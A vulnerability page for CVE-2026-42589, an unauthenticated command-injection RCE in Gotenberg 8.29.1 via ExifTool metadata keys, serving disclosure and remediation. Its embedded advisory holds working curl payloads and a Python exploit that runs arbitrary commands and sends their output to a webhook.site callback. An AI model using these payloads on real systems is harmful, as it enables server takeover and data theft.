CVE-2026-42589: Github.com/gotenberg/gotenberg/v8 Remote Code Execution Vulnerability
CRITICALCVE-2026-42589 is a CRITICAL (CVSS 9.8) remote code execution vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Github.com/gotenberg/gotenberg/v8 libraries in the Go ecosystem. The issue involves gotenberg has unauthenticated rce via exiftool metadata key injection. Remediation is available in the latest vendor maintenance releases.
CVE-2026-42589 at a Glance
Security Impact
CVSS: 9.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-42589
To remediate this vulnerability, upgrade all affected Github.com/gotenberg/gotenberg/v8 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/gotenberg/gotenberg/v8 to Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/gotenberg/gotenberg/v8
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-42589, inspect your project dependencies for Github.com/gotenberg/gotenberg/v8:
inspect dependencies for github.com/gotenberg/gotenberg/v8
Analyze the terminal output to locate any version of Github.com/gotenberg/gotenberg/v8 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Github.com/gotenberg/gotenberg/v8, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-42589 Affected Github.com/gotenberg/gotenberg/v8 Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/gotenberg/gotenberg/v8
|
Go |
8.29.1
All 1 versions
8.29.1
|
None specified
|
References
Frequently Asked Questions
What is CVE-2026-42589?
Which Github.com/gotenberg/gotenberg/v8 versions are affected?
What version fixes CVE-2026-42589?
Is github.com/gotenberg/gotenberg/v8 affected?
What is the CVSS score of CVE-2026-42589?
What CWE is associated with CVE-2026-42589?
How can I check Go dependencies for CVE-2026-42589?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-rqgh-gxv4-6657",
"modified" : "2026-05-14T20:52:07Z",
"published" : "2026-05-07T00:55:01Z",
"aliases" : [ "CVE-2026-42589" ],
"summary" : "Gotenberg has Unauthenticated RCE via ExifTool Metadata Key Injection",
"details" : "# Unauthenticated RCE in Gotenberg via Metadata Key Newline Injection\n\n## Summary\n\nGotenberg's `/forms/pdfengines/metadata/write` HTTP endpoint accepts a JSON metadata object and passes its keys directly to ExifTool via the go-exiftool library. No validation is performed on key characters. A `\\n` embedded in a JSON key splits the ExifTool stdin stream into a new argument line, allowing an attacker to inject arbitrary ExifTool flags — including `-if`, which evaluates Perl expressions. This achieves unauthenticated OS command execution in a single HTTP request. The response is HTTP 200 with a valid PDF, making the attack transparent to basic monitoring.\n\n## Vulnerability Details\n\n| Field | Value |\n|------------------|------------------------------------------|\n| Product | Gotenberg |\n| Version | 8.29.1 (default `gotenberg/gotenberg:8`) |\n| Component | `pdfengines/metadata/write` endpoint |\n| CWE | CWE-78 — Improper Neutralization of Special Elements used in an OS Command |\n\n## Affected Code\n\n**Product:** Gotenberg \n**Endpoint:** `/forms/pdfengines/metadata/write` \n**Root cause:** JSON metadata keys are passed to go-exiftool without control-character\nvalidation. The existing `dangerousTags` blocklist uses exact-match deletion and\nprovides no defense against `\\n`-embedded keys.\n\nThe injection occurs because go-exiftool writes each key to ExifTool's stdin as:\n\n```go\nfmt.Fprintln(e.stdin, \"-\"+k+\"=\"+str) // k contains \\n → splits into a new argument line\n```\n\nWhen `k` is `Title\\n-if\\nsystem('cmd')||1\\n-Comment`, ExifTool's stdin becomes:\n\n```\n-Title\n-if\nsystem('cmd')||1\n-Comment=x\n```\n\nExifTool's `-if` flag evaluates its argument as a Perl expression, giving the attacker arbitrary code execution.\n\n**Why it's vulnerable:** Gotenberg is the HTTP entry point. It controls what data enters go-exiftool. The `dangerousTags` blocklist (`FileName`, `Directory`) shows that the authors are aware that certain keys are dangerous, but the fix is incomplete: it uses exact string matching and does not strip or reject control characters in keys.\nThis vulnerability exists entirely within Gotenberg's responsibility and is independently fixable without changing go-exiftool.\n\n## Attack Scenario\n\n**Threat actor:** Unauthenticated remote attacker \n**Preconditions:** Gotenberg port 3000 is reachable (common in internal/cloud deployments) \n\n1. Attacker sends a POST request to `/forms/pdfengines/metadata/write` with any valid PDF and a metadata JSON object whose key contains embedded newlines.\n2. Gotenberg deserializes the JSON key — `\\n` is preserved as a literal newline in Go's `map[string]any` after `json.Unmarshal`.\n3. The key is forwarded to go-exiftool, which writes it verbatim to ExifTool's stdin, splitting it across multiple argument lines.\n4. ExifTool processes `-if system('cmd')||1` as a Perl expression and executes `cmd`.\n5. The attacker exfiltrates output via an OOB HTTP callback. Response to the attacker is HTTP 200 with a valid PDF — no error signal.\n\n## Proof of Concept\n\n```bash\n# Write output of `id` to /tmp/pwned on the server\ncurl -s -o /dev/null -w \"HTTP:%{http_code}\" \\\n -X POST http://TARGET:3000/forms/pdfengines/metadata/write \\\n -F 'files=@sample.pdf;type=application/pdf' \\\n --form-string $'metadata={\"Title\\\\n-if\\\\nsystem(\\'id>/tmp/pwned\\')||1\\\\n-Comment\": \"x\"}'\n# → HTTP:200\n# On server: uid=1001(gotenberg) gid=1001(gotenberg) groups=1001(gotenberg),0(root)\n```\n\nOOB exfiltration via base64-encoded HTTP callback:\n\n```bash\nOOB=\"https://webhook.site/YOUR-ID\"\ncurl -s -o /dev/null -w \"HTTP:%{http_code}\" \\\n -X POST http://TARGET:3000/forms/pdfengines/metadata/write \\\n -F 'files=@sample.pdf;type=application/pdf' \\\n --form-string \"metadata={\\\"Title\\n-if\\nsystem('wget -q -O /dev/null \\\"${OOB}?c=\\$(id|base64|tr -d \\\\\\\"=\\\\n\\\\\\\")\\\" 2>/dev/null')||1\\n-Comment\\\": \\\"x\\\"}\"\n# Listener receives: GET /?c=dWlkPTEwMDEoZ290ZW5iZXJnKS4u\n# Decode: echo dWlkPTEwMDEoZ290ZW5iZXJnKS4u | base64 -d → uid=1001(gotenberg)...\n```\n\nSelf-contained Python PoC (auto-generates PDF from target, exfiltrates via OOB):\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nUsage: python3 poc.py <target> <oob_url> [command]\n python3 poc.py http://localhost:3000 https://webhook.site/YOUR-ID\n python3 poc.py http://10.0.0.5:3000 https://webhook.site/YOUR-ID \"cat /etc/passwd\"\n\"\"\"\nimport sys, json, subprocess, urllib.request\n\ndef check_target(target):\n with urllib.request.urlopen(f\"{target}/version\", timeout=5) as r:\n print(f\"[+] Gotenberg {r.read().decode().strip()} — target reachable\")\n\ndef get_pdf(target):\n r = subprocess.run([\"curl\", \"-s\", \"-X\", \"POST\", f\"{target}/forms/chromium/convert/url\",\n \"-F\", \"url=https://example.com\"], capture_output=True, timeout=30)\n assert r.stdout[:4] == b\"%PDF\", \"Failed to generate PDF\"\n print(f\"[+] Got sample PDF ({len(r.stdout)} bytes)\")\n return r.stdout\n\ndef exploit(target, pdf, oob, cmd):\n import tempfile, os\n key = f'Title\\n-if\\nsystem(\\'wget -q -O /dev/null \"{oob}?c=$({cmd}|base64|tr -d \"=\\\\n\")\" 2>/dev/null\\')||1\\n-Comment'\n meta = json.dumps({key: \"x\"})\n with tempfile.NamedTemporaryFile(suffix=\".pdf\", delete=False) as f:\n f.write(pdf); tmp = f.name\n try:\n r = subprocess.run([\"curl\", \"-s\", \"-o\", \"/dev/null\", \"-w\", \"%{http_code}\",\n \"-X\", \"POST\", f\"{target}/forms/pdfengines/metadata/write\",\n \"-F\", f\"files=@{tmp};type=application/pdf\",\n \"--form-string\", f\"metadata={meta}\"],\n capture_output=True, text=True, timeout=30)\n return int(r.stdout.strip())\n finally:\n os.unlink(tmp)\n\nif __name__ == \"__main__\":\n if len(sys.argv) < 3:\n print(__doc__); sys.exit(1)\n target, oob = sys.argv[1].rstrip(\"/\"), sys.argv[2]\n cmd = sys.argv[3] if len(sys.argv) > 3 else \"id\"\n print(f\"[*] Target: {target} | OOB: {oob} | Command: {cmd}\")\n check_target(target)\n pdf = get_pdf(target)\n status = exploit(target, pdf, oob, cmd)\n if status == 200:\n print(f\"[+] HTTP {status} — payload fired, check OOB listener for: ?c=<base64({cmd})>\")\n print(f\"[!] Decode with: echo <value> | base64 -d\")\n else:\n print(f\"[-] HTTP {status} — unexpected response\")\n```\n\nExpected output:\n```\n[*] Target: http://localhost:3000 | OOB: https://webhook.site/... | Command: id\n[+] Gotenberg 8.29.1 — target reachable\n[+] Got sample PDF (12345 bytes)\n[+] HTTP 200 — payload fired, check OOB listener for: ?c=<base64(id)>\n```\n\n## Impact\n\nFull unauthenticated remote code execution as the Gotenberg process user (`uid=1001(gotenberg)`, member of `root` group in the default Docker image). An attacker can read arbitrary files, write files, establish reverse shells, or pivot within the network. The attack requires no credentials and returns no error signal. Any deployment that exposes Gotenberg's port 3000 without an authenticating proxy is fully compromised by a single HTTP request.\n\n## Remediation\n\nIn Gotenberg's metadata handler, reject any key containing control characters before passing it to go-exiftool:\n\n```go\nimport \"strings\"\n\nfor key := range metadata {\n if strings.ContainsAny(key, \"\\n\\r\\x00\") {\n return fmt.Errorf(\"invalid metadata key %q: control characters not allowed\", key)\n }\n}\n```\n\nOperators should also place Gotenberg behind an authenticated reverse proxy and never expose port 3000 directly to untrusted networks.\n\n**Note:** A companion advisory covers the same class of injection at the go-exiftool library layer (independently fixable — see go-exiftool advisory).\n\n## Timeline\n\n| Date | Event |\n|------------|--------------------------------------------|\n| 2026-04-04 | Vulnerability discovered |\n| 2026-04-04 | RCE confirmed — local file write + OOB HTTP |\n| 2026-04-04 | Report drafted for disclosure |\n| 2026-04-08 | Split into separate per-product advisories |\n\n## Resources\n\n- CWE-78: https://cwe.mitre.org/data/definitions/78.html\n- ExifTool `-if` flag: https://exiftool.org/exiftool_pod.html\n- go-exiftool: https://github.com/barasher/go-exiftool\n- CVSS calculator: https://www.first.org/cvss/calculator/3.1",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/gotenberg/gotenberg/v8"
},
"versions" : [ "8.29.1" ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-rqgh-gxv4-6657"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42589"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/gotenberg/gotenberg"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-78" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-07T00:55:01Z",
"nvd_published_at" : "2026-05-14T16:16:21Z"
}
}